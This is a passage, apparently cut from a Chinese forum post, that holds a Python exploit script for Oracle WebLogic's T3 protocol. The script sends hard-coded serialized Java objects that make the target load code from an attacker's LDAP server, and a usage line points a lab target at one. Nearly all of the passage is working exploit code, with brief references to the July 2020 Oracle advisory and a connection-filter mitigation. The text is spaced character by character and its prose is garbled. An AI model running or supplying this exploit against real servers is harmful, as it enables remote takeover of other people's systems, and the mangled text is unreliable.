8 7 0 7 7 2 0 0 1 1 4 d c 4 2 b d 0 7 '         d a t a 3   =   ' 1 a 7 7 2 7 0 0 0 d 3 2 3 4 3 2 2 e 3 2 3 1 3 4 '         d a t a 4   =   ' 2 e 3 1 2 e 3 2 3 5 3 4 6 1 8 6 3 d 1 d 0 0 0 0 0 0 0 0 7 8 '         f o r   d   i n   [ d a t a 1 , d a t a 2 , d a t a 3 , d a t a 4 ] :                 s o c k . s e n d ( b y t e s . f r o m h e x ( d ) )         t i m e . s l e e p ( 2 )
p y t h o n 3   e x p . p y   1 9 2 . 1 6 8 . 1 3 4 . 1 3 5   7 0 0 1   l d a p : / / 1 9 2 . 1 6 8 . 1 3 4 . 1 3 4 : 9 9 / # e x p H T T P 1 h t t p s : / / w w w . o r a c l e . c o m / s e c u r i t y - a l e r t s / c p u j u l 2 0 2 0 . h t m l 2 T 3 访 T 3 T 3 访 W e b L o g i c b a s e _ d o m a i n w e b l o g i c . s e c u r i t y . n e t . C o n n e c t i o n F i l t e r I m p l W e b L o g i c P S W e b L o g i c d e f   s e n d E v i l O b j D a t a ( s o c k , d a t a ) :   p a y l o a d = ' 0 5 6 5 0 8 0 0 0 0 0 0 0 1 0 0 0 0 0 0 1 b 0 0 0 0 0 0 5 d 0 1 0 1 0 0 7 3 7 2 0 1 7 8 7 0 7 3 7 2 0 2 7 8 7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 5 7 2 0 3 7 8 7 0 0 0 0 0 0 0 0 0 7 8 7 4 0 0 0 8 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 7 5 7 2 0 4 7 8 7 0 0 0 0 0 0 0 0 c 9 c 9 7 9 a 9 a 8 c 9 a 9 b c f c f 9 b 9 3 9 a 7 4 0 0 0 8 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 0 6 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 d 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 3 6 c 6 1 7 3 7 3 5 4 6 1 6 2 6 c 6 5 4 5 6 e 7 4 7 2 7 9 2 f 5 2 6 5 8 1 5 7 f 4 f 9 e d 0 c 0 0 0 0 7 8 7 0 7 2 0 0 0 2 5 b 4 2 a c f 3 1 7 f 8 0 6 0 8 5 4 e 0 0 2 0 0 0 0 7 8 7 0 7 7 0 2 0 0 0 0 7 8 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 d 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 3 6 c 6 1 7 3 7 3 5 4 6 1 6 2 6 c 6 5 4 5 6 e 7 4 7 2 7 9 2 f 5 2 6 5 8 1 5 7 f 4 f 9 e d 0 c 0 0 0 0 7 8 7 0 7 2 0 0 1 3 5 b 4 c 6 a 6 1 7 6 6 1 2 e 6 c 6 1 6 e 6 7 2 e 4 f 6 2 6 a 6 5 6 3 7 4 3 b 9 0 c e 5 8 9 f 1 0 7 3 2 9 6 c 0 2 0 0 0 0 7 8 7 0 7 7 0 2 0 0 0 0 7 8 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 d 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 3 6 c 6 1 7 3 7 3 5 4 6 1 6 2 6 c 6 5 4 5 6 e 7 4 7 2 7 9 2 f 5 2 6 5 8 1 5 7 f 4 f 9 e d 0 c 0 0 0 0 7 8 7 0 7 2 0 0 1 0 6 a 6 1 7 6 6 1 2 e 7 5 7 4 6 9 6 c 2 e 5 6 6 5 6 3 7 4 6 f 7 2 d 9 9 7 7 d 5 b 8 0 3 b a f 0 1 0 3 0 0 0 3 4 9 0 0 1 1 6 3 6 1 7 0 6 1 6 3 6 9 7 4 7 9 4 9 6 e 6 3 7 2 6 5 6 d 6 5 6 e 7 4 4 9 0 0 0 c 6 5 6 c 6 5 6 d 6 5 6 e 7 4 4 3 6 f 7 5 6 e 7 4 5 b 0 0 0 b 6 5 6 c 6 5 6 d 6 5 6 e 7 4 4 4 6 1 7 4 6 1 7 4 0 0 1 3 5 b 4 c 6 a 6 1 7 6 6 1 2 f 6 c 6 1 6 e 6 7 2 f 4 f 6 2 6 a 6 5 6 3 7 4 3 b 7 8 7 0 7 7 0 2 0 0 0 0 7 8 f e 0 1 0 0 0 0 '         p a y l o a d + = d a t a   p a y l o a d + = ' f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 2 5 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 9 6 d 6 d 7 5 7 4 6 1 6 2 6 c 6 5 5 3 6 5 7 2 7 6 6 9 6 3 6 5 4 3 6 f 6 e 7 4 6 5 7 8 7 4 d d c b a 8 7 0 6 3 8 6 f 0 b a 0 c 0 0 0 0 7 8 7 2 0 0 2 9 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 d 6 9 2 e 7 0 7 2 6 f 7 6 6 9 6 4 6 5 7 2 2 e 4 2 6 1 7 3 6 9 6 3 5 3 6 5 7 2 7 6 6 9 6 3 6 5 4 3 6 f 6 e 7 4 6 5 7 8 7 4 e 4 6 3 2 2 3 6 c 5 d 4 a 7 1 e 0 c 0 0 0 0 7 8 7 0 7 7 0 2 0 6 0 0 7 3 7 2 0 0 2 6 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 d 6 9 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 4 d 6 5 7 4 6 8 6 f 6 4 4 4 6 5 7 3 6 3 7 2 6 9 7 0 7 4 6 f 7 2 1 2 4 8 5 a 8 2 8 a f 7 f 6 7 b 0 c 0 0 0 0 7 8 7 0 7 7 3 4 0 0 2 e 6 1 7 5 7 4 6 8 6 5 6 e 7 4 6 9 6 3 6 1 7 4 6 5 2 8 4 c 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 3 6 5 6 3 7 5 7 2 6 9 7 4 7 9 2 e 6 1 6 3 6 c 2 e 5 5 7 3 6 5 7 2 4 9 6 e 6 6 6 f 3 b 2 9 0 0 0 0 0 0 1 b 7 8 7 8 f e 0 0 f f '         p a y l o a d   =   ' % s % s ' % ( ' { : 0 8 x } ' . f o r m a t ( l e n ( p a y l o a d ) / / 2   +   4 ) , p a y l o a d )         s o c k . s e n d ( b y t e s . f r o m h e x ( p a y l o a d ) )         r e s   =   ' '         t r y :                 c o u n t   =   0                 w h i l e   c o u n t < 3 :                         r e s   + =   s o c k . r e c v ( 4 0 9 6 ) . d e c o d e ( " u t f 8 " , " i g n o r e " )                         t i m e . s l e e p ( 0 . 1 )                         c o u n t   + =   1         e x c e p t   E x c e p t i o n :                 p a s s         r e t u r n   r e s d e f   r u n ( r i p , r p o r t , l d a p ) :         s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s o c k . s e t t i m e o u t ( 1 0 )         s e r v e r _ a d d r   =   ( r i p ,   r p o r t )         t 3 h a n d s h a k e ( s o c k , s e r v e r _ a d d r )         b u i l d T 3 R e q u e s t O b j e c t ( s o c k , r p o r t )         s e n d E v i l O b j D a t a ( s o c k ,   p a y l o a d ( l d a p ) ) i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :         i p   =   s y s . a r g v [ 1 ]         p o r t   =   i n t ( s y s . a r g v [ 2 ] )         l d a p = s y s . a r g v [ 3 ]         p r i n t ( " t a r g e t : % s   p o r t : % s   l d a p : % s " % ( i p , p o r t , l d a p ) )         r u n ( i p , p o r t , l d a p )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则